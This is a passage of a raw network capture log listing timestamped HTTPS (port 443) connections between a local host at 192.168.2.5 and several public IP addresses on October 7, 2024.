Oct 7, 2024 21:53:08.584672928 CEST	49736	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:08.584680080 CEST	443	49736	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:08.590537071 CEST	443	49734	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:08.600207090 CEST	443	49733	151.101.194.137	192.168.2.5
Oct 7, 2024 21:53:08.600239038 CEST	443	49733	151.101.194.137	192.168.2.5
Oct 7, 2024 21:53:08.600301981 CEST	49733	443	192.168.2.5	151.101.194.137
Oct 7, 2024 21:53:08.600336075 CEST	443	49733	151.101.194.137	192.168.2.5
Oct 7, 2024 21:53:08.600353003 CEST	49733	443	192.168.2.5	151.101.194.137
Oct 7, 2024 21:53:08.600379944 CEST	49733	443	192.168.2.5	151.101.194.137
Oct 7, 2024 21:53:08.601023912 CEST	443	49733	151.101.194.137	192.168.2.5
Oct 7, 2024 21:53:08.601042032 CEST	443	49733	151.101.194.137	192.168.2.5
Oct 7, 2024 21:53:08.601094961 CEST	49733	443	192.168.2.5	151.101.194.137
Oct 7, 2024 21:53:08.601103067 CEST	443	49733	151.101.194.137	192.168.2.5
Oct 7, 2024 21:53:08.601121902 CEST	49733	443	192.168.2.5	151.101.194.137
Oct 7, 2024 21:53:08.601139069 CEST	49733	443	192.168.2.5	151.101.194.137
Oct 7, 2024 21:53:08.601537943 CEST	443	49737	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:08.601902962 CEST	443	49733	151.101.194.137	192.168.2.5
Oct 7, 2024 21:53:08.601959944 CEST	49733	443	192.168.2.5	151.101.194.137
Oct 7, 2024 21:53:08.601962090 CEST	443	49733	151.101.194.137	192.168.2.5
Oct 7, 2024 21:53:08.602018118 CEST	49733	443	192.168.2.5	151.101.194.137
Oct 7, 2024 21:53:08.603409052 CEST	49734	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:08.603425980 CEST	443	49734	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:08.604096889 CEST	49734	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:08.604113102 CEST	443	49734	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:08.617027044 CEST	49737	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:08.617080927 CEST	443	49737	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:08.620506048 CEST	49737	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:08.620517015 CEST	443	49737	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:08.664720058 CEST	443	49735	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:08.664764881 CEST	443	49735	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:08.665086031 CEST	49735	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:08.667740107 CEST	443	49738	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:08.667798042 CEST	443	49738	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:08.667864084 CEST	49738	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:08.667886972 CEST	443	49738	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:08.667920113 CEST	443	49738	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:08.669419050 CEST	49738	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:08.702620983 CEST	443	49736	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:08.702692986 CEST	443	49736	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:08.702792883 CEST	49736	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:08.702805996 CEST	443	49736	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:08.702826023 CEST	443	49736	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:08.702853918 CEST	49736	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:08.702883959 CEST	49736	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:08.711445093 CEST	443	49734	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:08.711472988 CEST	443	49734	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:08.711527109 CEST	443	49734	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:08.711564064 CEST	49734	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:08.711626053 CEST	49734	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:08.717314959 CEST	443	49737	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:08.717458963 CEST	443	49737	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:08.717519999 CEST	49737	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:08.838422060 CEST	49733	443	192.168.2.5	151.101.194.137
Oct 7, 2024 21:53:08.838454008 CEST	443	49733	151.101.194.137	192.168.2.5
Oct 7, 2024 21:53:08.865677118 CEST	49735	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:08.865677118 CEST	49735	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:08.865704060 CEST	443	49735	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:08.865712881 CEST	443	49735	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:08.866911888 CEST	49734	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:08.866911888 CEST	49734	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:08.866925955 CEST	443	49734	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:08.866935015 CEST	443	49734	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:08.867765903 CEST	49737	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:08.867796898 CEST	443	49737	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:08.867810011 CEST	49737	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:08.867816925 CEST	443	49737	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:08.868784904 CEST	49738	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:08.868791103 CEST	443	49738	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:08.868799925 CEST	49738	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:08.868803978 CEST	443	49738	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:08.870204926 CEST	49736	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:08.870233059 CEST	443	49736	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:08.870249987 CEST	49736	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:08.870258093 CEST	443	49736	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:08.873255014 CEST	49741	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:08.873287916 CEST	443	49741	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:08.873339891 CEST	49741	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:08.874011040 CEST	49742	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:08.874017954 CEST	443	49742	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:08.874126911 CEST	49742	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:08.874762058 CEST	49743	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:08.874794006 CEST	443	49743	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:08.874900103 CEST	49741	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:08.874916077 CEST	443	49741	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:08.874938965 CEST	49743	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:08.875072002 CEST	49743	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:08.875085115 CEST	443	49743	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:08.875180960 CEST	49744	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:08.875199080 CEST	443	49744	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:08.875269890 CEST	49744	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:08.875464916 CEST	49745	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:08.875495911 CEST	443	49745	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:08.875560045 CEST	49745	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:08.875639915 CEST	49742	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:08.875652075 CEST	443	49742	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:08.875799894 CEST	49744	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:08.875812054 CEST	443	49744	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:08.875899076 CEST	49745	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:08.875915051 CEST	443	49745	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:08.896887064 CEST	49747	443	192.168.2.5	104.18.94.41
Oct 7, 2024 21:53:08.896913052 CEST	443	49747	104.18.94.41	192.168.2.5
Oct 7, 2024 21:53:08.897212982 CEST	49747	443	192.168.2.5	104.18.94.41
Oct 7, 2024 21:53:08.897417068 CEST	49747	443	192.168.2.5	104.18.94.41
Oct 7, 2024 21:53:08.897432089 CEST	443	49747	104.18.94.41	192.168.2.5
Oct 7, 2024 21:53:09.048329115 CEST	443	49740	104.18.94.41	192.168.2.5
Oct 7, 2024 21:53:09.048765898 CEST	49740	443	192.168.2.5	104.18.94.41
Oct 7, 2024 21:53:09.048791885 CEST	443	49740	104.18.94.41	192.168.2.5
Oct 7, 2024 21:53:09.049690962 CEST	443	49740	104.18.94.41	192.168.2.5
Oct 7, 2024 21:53:09.049743891 CEST	49740	443	192.168.2.5	104.18.94.41
Oct 7, 2024 21:53:09.052517891 CEST	49740	443	192.168.2.5	104.18.94.41
Oct 7, 2024 21:53:09.052589893 CEST	443	49740	104.18.94.41	192.168.2.5
Oct 7, 2024 21:53:09.053158045 CEST	49740	443	192.168.2.5	104.18.94.41
Oct 7, 2024 21:53:09.053165913 CEST	443	49740	104.18.94.41	192.168.2.5
Oct 7, 2024 21:53:09.096745014 CEST	49740	443	192.168.2.5	104.18.94.41
Oct 7, 2024 21:53:09.195275068 CEST	443	49740	104.18.94.41	192.168.2.5
Oct 7, 2024 21:53:09.195369005 CEST	443	49740	104.18.94.41	192.168.2.5
Oct 7, 2024 21:53:09.195432901 CEST	443	49740	104.18.94.41	192.168.2.5
Oct 7, 2024 21:53:09.195470095 CEST	443	49740	104.18.94.41	192.168.2.5
Oct 7, 2024 21:53:09.195487022 CEST	49740	443	192.168.2.5	104.18.94.41
Oct 7, 2024 21:53:09.195513010 CEST	443	49740	104.18.94.41	192.168.2.5
Oct 7, 2024 21:53:09.195529938 CEST	49740	443	192.168.2.5	104.18.94.41
Oct 7, 2024 21:53:09.195755959 CEST	443	49740	104.18.94.41	192.168.2.5
Oct 7, 2024 21:53:09.195794106 CEST	443	49740	104.18.94.41	192.168.2.5
Oct 7, 2024 21:53:09.195810080 CEST	49740	443	192.168.2.5	104.18.94.41
Oct 7, 2024 21:53:09.195818901 CEST	443	49740	104.18.94.41	192.168.2.5
Oct 7, 2024 21:53:09.195856094 CEST	49740	443	192.168.2.5	104.18.94.41
Oct 7, 2024 21:53:09.195863008 CEST	443	49740	104.18.94.41	192.168.2.5
Oct 7, 2024 21:53:09.199891090 CEST	443	49740	104.18.94.41	192.168.2.5
Oct 7, 2024 21:53:09.199924946 CEST	443	49740	104.18.94.41	192.168.2.5
Oct 7, 2024 21:53:09.199954033 CEST	49740	443	192.168.2.5	104.18.94.41
Oct 7, 2024 21:53:09.199964046 CEST	443	49740	104.18.94.41	192.168.2.5
Oct 7, 2024 21:53:09.200004101 CEST	49740	443	192.168.2.5	104.18.94.41
Oct 7, 2024 21:53:09.200448036 CEST	443	49740	104.18.94.41	192.168.2.5
Oct 7, 2024 21:53:09.252733946 CEST	49740	443	192.168.2.5	104.18.94.41
Oct 7, 2024 21:53:09.260955095 CEST	49748	443	192.168.2.5	104.18.94.41
Oct 7, 2024 21:53:09.260996103 CEST	443	49748	104.18.94.41	192.168.2.5
Oct 7, 2024 21:53:09.261090994 CEST	49748	443	192.168.2.5	104.18.94.41
Oct 7, 2024 21:53:09.261327982 CEST	49748	443	192.168.2.5	104.18.94.41
Oct 7, 2024 21:53:09.261359930 CEST	443	49748	104.18.94.41	192.168.2.5
Oct 7, 2024 21:53:09.272258997 CEST	443	49740	104.18.94.41	192.168.2.5
Oct 7, 2024 21:53:09.272378922 CEST	443	49740	104.18.94.41	192.168.2.5
Oct 7, 2024 21:53:09.272422075 CEST	49740	443	192.168.2.5	104.18.94.41
Oct 7, 2024 21:53:09.272433043 CEST	443	49740	104.18.94.41	192.168.2.5
Oct 7, 2024 21:53:09.272469044 CEST	443	49740	104.18.94.41	192.168.2.5
Oct 7, 2024 21:53:09.272547960 CEST	49740	443	192.168.2.5	104.18.94.41
Oct 7, 2024 21:53:09.272557020 CEST	443	49740	104.18.94.41	192.168.2.5
Oct 7, 2024 21:53:09.272876978 CEST	443	49740	104.18.94.41	192.168.2.5
Oct 7, 2024 21:53:09.272922993 CEST	443	49740	104.18.94.41	192.168.2.5
Oct 7, 2024 21:53:09.272937059 CEST	49740	443	192.168.2.5	104.18.94.41
Oct 7, 2024 21:53:09.272943974 CEST	443	49740	104.18.94.41	192.168.2.5
Oct 7, 2024 21:53:09.273160934 CEST	49740	443	192.168.2.5	104.18.94.41
Oct 7, 2024 21:53:09.273237944 CEST	443	49740	104.18.94.41	192.168.2.5
Oct 7, 2024 21:53:09.273294926 CEST	443	49740	104.18.94.41	192.168.2.5
Oct 7, 2024 21:53:09.273472071 CEST	49740	443	192.168.2.5	104.18.94.41
Oct 7, 2024 21:53:09.273479939 CEST	443	49740	104.18.94.41	192.168.2.5
Oct 7, 2024 21:53:09.273793936 CEST	443	49740	104.18.94.41	192.168.2.5
Oct 7, 2024 21:53:09.273833036 CEST	49740	443	192.168.2.5	104.18.94.41
Oct 7, 2024 21:53:09.273840904 CEST	443	49740	104.18.94.41	192.168.2.5
Oct 7, 2024 21:53:09.274000883 CEST	443	49740	104.18.94.41	192.168.2.5
Oct 7, 2024 21:53:09.274039984 CEST	443	49740	104.18.94.41	192.168.2.5
Oct 7, 2024 21:53:09.274049997 CEST	49740	443	192.168.2.5	104.18.94.41
Oct 7, 2024 21:53:09.274056911 CEST	443	49740	104.18.94.41	192.168.2.5
Oct 7, 2024 21:53:09.274130106 CEST	49740	443	192.168.2.5	104.18.94.41
Oct 7, 2024 21:53:09.274137974 CEST	443	49740	104.18.94.41	192.168.2.5
Oct 7, 2024 21:53:09.274771929 CEST	443	49740	104.18.94.41	192.168.2.5
Oct 7, 2024 21:53:09.274811983 CEST	443	49740	104.18.94.41	192.168.2.5
Oct 7, 2024 21:53:09.274830103 CEST	49740	443	192.168.2.5	104.18.94.41
Oct 7, 2024 21:53:09.274847031 CEST	443	49740	104.18.94.41	192.168.2.5
Oct 7, 2024 21:53:09.275038004 CEST	49740	443	192.168.2.5	104.18.94.41
Oct 7, 2024 21:53:09.275170088 CEST	443	49740	104.18.94.41	192.168.2.5
Oct 7, 2024 21:53:09.275296926 CEST	443	49740	104.18.94.41	192.168.2.5
Oct 7, 2024 21:53:09.275342941 CEST	49740	443	192.168.2.5	104.18.94.41
Oct 7, 2024 21:53:09.275350094 CEST	443	49740	104.18.94.41	192.168.2.5
Oct 7, 2024 21:53:09.277764082 CEST	443	49740	104.18.94.41	192.168.2.5
Oct 7, 2024 21:53:09.277849913 CEST	49740	443	192.168.2.5	104.18.94.41
Oct 7, 2024 21:53:09.277884960 CEST	443	49740	104.18.94.41	192.168.2.5
Oct 7, 2024 21:53:09.313666105 CEST	49749	443	192.168.2.5	172.217.23.100
Oct 7, 2024 21:53:09.313750982 CEST	443	49749	172.217.23.100	192.168.2.5
Oct 7, 2024 21:53:09.313829899 CEST	49749	443	192.168.2.5	172.217.23.100
Oct 7, 2024 21:53:09.313991070 CEST	49749	443	192.168.2.5	172.217.23.100
Oct 7, 2024 21:53:09.314012051 CEST	443	49749	172.217.23.100	192.168.2.5
Oct 7, 2024 21:53:09.331540108 CEST	49740	443	192.168.2.5	104.18.94.41
Oct 7, 2024 21:53:09.353730917 CEST	443	49747	104.18.94.41	192.168.2.5
Oct 7, 2024 21:53:09.353977919 CEST	49747	443	192.168.2.5	104.18.94.41
Oct 7, 2024 21:53:09.353995085 CEST	443	49747	104.18.94.41	192.168.2.5
Oct 7, 2024 21:53:09.354907036 CEST	443	49740	104.18.94.41	192.168.2.5
Oct 7, 2024 21:53:09.354963064 CEST	443	49740	104.18.94.41	192.168.2.5
Oct 7, 2024 21:53:09.355021000 CEST	49740	443	192.168.2.5	104.18.94.41
Oct 7, 2024 21:53:09.355032921 CEST	443	49740	104.18.94.41	192.168.2.5
Oct 7, 2024 21:53:09.355447054 CEST	443	49740	104.18.94.41	192.168.2.5
Oct 7, 2024 21:53:09.355458021 CEST	443	49740	104.18.94.41	192.168.2.5
Oct 7, 2024 21:53:09.355492115 CEST	49740	443	192.168.2.5	104.18.94.41
Oct 7, 2024 21:53:09.355503082 CEST	443	49740	104.18.94.41	192.168.2.5
Oct 7, 2024 21:53:09.355515003 CEST	49740	443	192.168.2.5	104.18.94.41
Oct 7, 2024 21:53:09.355782032 CEST	443	49740	104.18.94.41	192.168.2.5
Oct 7, 2024 21:53:09.355828047 CEST	443	49740	104.18.94.41	192.168.2.5
Oct 7, 2024 21:53:09.355829000 CEST	49740	443	192.168.2.5	104.18.94.41
Oct 7, 2024 21:53:09.355843067 CEST	443	49740	104.18.94.41	192.168.2.5
Oct 7, 2024 21:53:09.355869055 CEST	49740	443	192.168.2.5	104.18.94.41
Oct 7, 2024 21:53:09.356309891 CEST	443	49740	104.18.94.41	192.168.2.5
Oct 7, 2024 21:53:09.356353045 CEST	49740	443	192.168.2.5	104.18.94.41
Oct 7, 2024 21:53:09.356363058 CEST	443	49740	104.18.94.41	192.168.2.5
Oct 7, 2024 21:53:09.356374979 CEST	443	49740	104.18.94.41	192.168.2.5
Oct 7, 2024 21:53:09.356415987 CEST	49740	443	192.168.2.5	104.18.94.41
Oct 7, 2024 21:53:09.356424093 CEST	443	49740	104.18.94.41	192.168.2.5
Oct 7, 2024 21:53:09.356436014 CEST	443	49740	104.18.94.41	192.168.2.5
Oct 7, 2024 21:53:09.356473923 CEST	49740	443	192.168.2.5	104.18.94.41
Oct 7, 2024 21:53:09.356494904 CEST	49740	443	192.168.2.5	104.18.94.41
Oct 7, 2024 21:53:09.357234001 CEST	443	49740	104.18.94.41	192.168.2.5
Oct 7, 2024 21:53:09.357280970 CEST	49740	443	192.168.2.5	104.18.94.41
Oct 7, 2024 21:53:09.357302904 CEST	443	49740	104.18.94.41	192.168.2.5
Oct 7, 2024 21:53:09.357347965 CEST	49740	443	192.168.2.5	104.18.94.41
Oct 7, 2024 21:53:09.357562065 CEST	443	49747	104.18.94.41	192.168.2.5
Oct 7, 2024 21:53:09.357630014 CEST	49747	443	192.168.2.5	104.18.94.41
Oct 7, 2024 21:53:09.357786894 CEST	443	49740	104.18.94.41	192.168.2.5
Oct 7, 2024 21:53:09.357834101 CEST	443	49740	104.18.94.41	192.168.2.5
Oct 7, 2024 21:53:09.357835054 CEST	49740	443	192.168.2.5	104.18.94.41
Oct 7, 2024 21:53:09.357847929 CEST	443	49740	104.18.94.41	192.168.2.5
Oct 7, 2024 21:53:09.357880116 CEST	49740	443	192.168.2.5	104.18.94.41
Oct 7, 2024 21:53:09.357886076 CEST	443	49740	104.18.94.41	192.168.2.5
Oct 7, 2024 21:53:09.357914925 CEST	443	49740	104.18.94.41	192.168.2.5
Oct 7, 2024 21:53:09.357928038 CEST	49740	443	192.168.2.5	104.18.94.41
Oct 7, 2024 21:53:09.358023882 CEST	49747	443	192.168.2.5	104.18.94.41
Oct 7, 2024 21:53:09.358201027 CEST	443	49747	104.18.94.41	192.168.2.5
Oct 7, 2024 21:53:09.358306885 CEST	49747	443	192.168.2.5	104.18.94.41
Oct 7, 2024 21:53:09.358315945 CEST	443	49747	104.18.94.41	192.168.2.5
Oct 7, 2024 21:53:09.358573914 CEST	443	49740	104.18.94.41	192.168.2.5
Oct 7, 2024 21:53:09.358622074 CEST	49740	443	192.168.2.5	104.18.94.41
Oct 7, 2024 21:53:09.358628988 CEST	443	49740	104.18.94.41	192.168.2.5
Oct 7, 2024 21:53:09.358640909 CEST	443	49740	104.18.94.41	192.168.2.5
Oct 7, 2024 21:53:09.358680964 CEST	49740	443	192.168.2.5	104.18.94.41
Oct 7, 2024 21:53:09.359349012 CEST	443	49740	104.18.94.41	192.168.2.5
Oct 7, 2024 21:53:09.359397888 CEST	49740	443	192.168.2.5	104.18.94.41
Oct 7, 2024 21:53:09.367219925 CEST	49750	443	192.168.2.5	172.202.163.200
Oct 7, 2024 21:53:09.367259026 CEST	443	49750	172.202.163.200	192.168.2.5
Oct 7, 2024 21:53:09.367320061 CEST	49750	443	192.168.2.5	172.202.163.200
Oct 7, 2024 21:53:09.368347883 CEST	49750	443	192.168.2.5	172.202.163.200
Oct 7, 2024 21:53:09.368366957 CEST	443	49750	172.202.163.200	192.168.2.5
Oct 7, 2024 21:53:09.408209085 CEST	49747	443	192.168.2.5	104.18.94.41
Oct 7, 2024 21:53:09.438045979 CEST	443	49740	104.18.94.41	192.168.2.5
Oct 7, 2024 21:53:09.438133955 CEST	49740	443	192.168.2.5	104.18.94.41
Oct 7, 2024 21:53:09.438288927 CEST	443	49740	104.18.94.41	192.168.2.5
Oct 7, 2024 21:53:09.438332081 CEST	443	49740	104.18.94.41	192.168.2.5
Oct 7, 2024 21:53:09.438359022 CEST	49740	443	192.168.2.5	104.18.94.41
Oct 7, 2024 21:53:09.438369989 CEST	443	49740	104.18.94.41	192.168.2.5
Oct 7, 2024 21:53:09.438385963 CEST	49740	443	192.168.2.5	104.18.94.41
Oct 7, 2024 21:53:09.438838959 CEST	443	49740	104.18.94.41	192.168.2.5
Oct 7, 2024 21:53:09.438874006 CEST	443	49740	104.18.94.41	192.168.2.5
Oct 7, 2024 21:53:09.438899040 CEST	49740	443	192.168.2.5	104.18.94.41
Oct 7, 2024 21:53:09.438908100 CEST	443	49740	104.18.94.41	192.168.2.5
Oct 7, 2024 21:53:09.438932896 CEST	49740	443	192.168.2.5	104.18.94.41
Oct 7, 2024 21:53:09.439167976 CEST	443	49740	104.18.94.41	192.168.2.5
Oct 7, 2024 21:53:09.439220905 CEST	49740	443	192.168.2.5	104.18.94.41
Oct 7, 2024 21:53:09.439232111 CEST	443	49740	104.18.94.41	192.168.2.5
Oct 7, 2024 21:53:09.439271927 CEST	49740	443	192.168.2.5	104.18.94.41
Oct 7, 2024 21:53:09.439621925 CEST	443	49740	104.18.94.41	192.168.2.5
Oct 7, 2024 21:53:09.439706087 CEST	49740	443	192.168.2.5	104.18.94.41
Oct 7, 2024 21:53:09.439743042 CEST	443	49740	104.18.94.41	192.168.2.5
Oct 7, 2024 21:53:09.439798117 CEST	49740	443	192.168.2.5	104.18.94.41
Oct 7, 2024 21:53:09.440352917 CEST	443	49740	104.18.94.41	192.168.2.5
Oct 7, 2024 21:53:09.440388918 CEST	443	49740	104.18.94.41	192.168.2.5
Oct 7, 2024 21:53:09.440418959 CEST	49740	443	192.168.2.5	104.18.94.41
Oct 7, 2024 21:53:09.440427065 CEST	443	49740	104.18.94.41	192.168.2.5
Oct 7, 2024 21:53:09.440443993 CEST	49740	443	192.168.2.5	104.18.94.41
Oct 7, 2024 21:53:09.440469027 CEST	49740	443	192.168.2.5	104.18.94.41
Oct 7, 2024 21:53:09.440989971 CEST	443	49740	104.18.94.41	192.168.2.5
Oct 7, 2024 21:53:09.441051960 CEST	49740	443	192.168.2.5	104.18.94.41
Oct 7, 2024 21:53:09.441062927 CEST	443	49740	104.18.94.41	192.168.2.5
Oct 7, 2024 21:53:09.441097021 CEST	443	49740	104.18.94.41	192.168.2.5
Oct 7, 2024 21:53:09.441108942 CEST	49740	443	192.168.2.5	104.18.94.41
Oct 7, 2024 21:53:09.441117048 CEST	443	49740	104.18.94.41	192.168.2.5
Oct 7, 2024 21:53:09.441140890 CEST	49740	443	192.168.2.5	104.18.94.41
Oct 7, 2024 21:53:09.441148043 CEST	443	49740	104.18.94.41	192.168.2.5
Oct 7, 2024 21:53:09.441207886 CEST	49740	443	192.168.2.5	104.18.94.41
Oct 7, 2024 21:53:09.441215992 CEST	443	49740	104.18.94.41	192.168.2.5
Oct 7, 2024 21:53:09.441232920 CEST	443	49740	104.18.94.41	192.168.2.5
Oct 7, 2024 21:53:09.441277027 CEST	49740	443	192.168.2.5	104.18.94.41
Oct 7, 2024 21:53:09.447920084 CEST	49740	443	192.168.2.5	104.18.94.41
Oct 7, 2024 21:53:09.447937965 CEST	443	49740	104.18.94.41	192.168.2.5
Oct 7, 2024 21:53:09.504578114 CEST	49751	443	192.168.2.5	104.18.94.41
Oct 7, 2024 21:53:09.504626036 CEST	443	49751	104.18.94.41	192.168.2.5
Oct 7, 2024 21:53:09.504690886 CEST	49751	443	192.168.2.5	104.18.94.41
Oct 7, 2024 21:53:09.504978895 CEST	49751	443	192.168.2.5	104.18.94.41
Oct 7, 2024 21:53:09.504996061 CEST	443	49751	104.18.94.41	192.168.2.5
Oct 7, 2024 21:53:09.523406029 CEST	443	49747	104.18.94.41	192.168.2.5
Oct 7, 2024 21:53:09.523557901 CEST	443	49747	104.18.94.41	192.168.2.5
Oct 7, 2024 21:53:09.523685932 CEST	443	49747	104.18.94.41	192.168.2.5
Oct 7, 2024 21:53:09.523736954 CEST	49747	443	192.168.2.5	104.18.94.41
Oct 7, 2024 21:53:09.523752928 CEST	443	49747	104.18.94.41	192.168.2.5
Oct 7, 2024 21:53:09.523798943 CEST	49747	443	192.168.2.5	104.18.94.41
Oct 7, 2024 21:53:09.523806095 CEST	443	49747	104.18.94.41	192.168.2.5
Oct 7, 2024 21:53:09.523921013 CEST	443	49747	104.18.94.41	192.168.2.5
Oct 7, 2024 21:53:09.523966074 CEST	49747	443	192.168.2.5	104.18.94.41
Oct 7, 2024 21:53:09.523972988 CEST	443	49747	104.18.94.41	192.168.2.5
Oct 7, 2024 21:53:09.524487972 CEST	443	49747	104.18.94.41	192.168.2.5
Oct 7, 2024 21:53:09.524533033 CEST	49747	443	192.168.2.5	104.18.94.41
Oct 7, 2024 21:53:09.524539948 CEST	443	49747	104.18.94.41	192.168.2.5
Oct 7, 2024 21:53:09.526926041 CEST	443	49741	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:09.527406931 CEST	49741	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:09.527432919 CEST	443	49741	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:09.527848005 CEST	49741	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:09.527853966 CEST	443	49741	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:09.528183937 CEST	443	49747	104.18.94.41	192.168.2.5
Oct 7, 2024 21:53:09.528265953 CEST	443	49747	104.18.94.41	192.168.2.5
Oct 7, 2024 21:53:09.528276920 CEST	49747	443	192.168.2.5	104.18.94.41
Oct 7, 2024 21:53:09.528287888 CEST	443	49747	104.18.94.41	192.168.2.5
Oct 7, 2024 21:53:09.528378963 CEST	49747	443	192.168.2.5	104.18.94.41
Oct 7, 2024 21:53:09.528386116 CEST	443	49747	104.18.94.41	192.168.2.5
Oct 7, 2024 21:53:09.530905008 CEST	443	49744	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:09.531416893 CEST	49744	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:09.531434059 CEST	443	49744	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:09.531800032 CEST	49744	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:09.531806946 CEST	443	49744	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:09.534204960 CEST	443	49743	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:09.534584045 CEST	49743	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:09.534606934 CEST	443	49743	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:09.535130024 CEST	49743	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:09.535135031 CEST	443	49743	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:09.542010069 CEST	443	49742	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:09.542318106 CEST	49742	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:09.542336941 CEST	443	49742	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:09.542851925 CEST	49742	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:09.542857885 CEST	443	49742	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:09.550465107 CEST	443	49745	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:09.550956011 CEST	49745	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:09.550971985 CEST	443	49745	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:09.551363945 CEST	49745	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:09.551369905 CEST	443	49745	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:09.580790997 CEST	49747	443	192.168.2.5	104.18.94.41
Oct 7, 2024 21:53:09.616069078 CEST	443	49747	104.18.94.41	192.168.2.5
Oct 7, 2024 21:53:09.616249084 CEST	443	49747	104.18.94.41	192.168.2.5
Oct 7, 2024 21:53:09.616313934 CEST	49747	443	192.168.2.5	104.18.94.41
Oct 7, 2024 21:53:09.616327047 CEST	443	49747	104.18.94.41	192.168.2.5
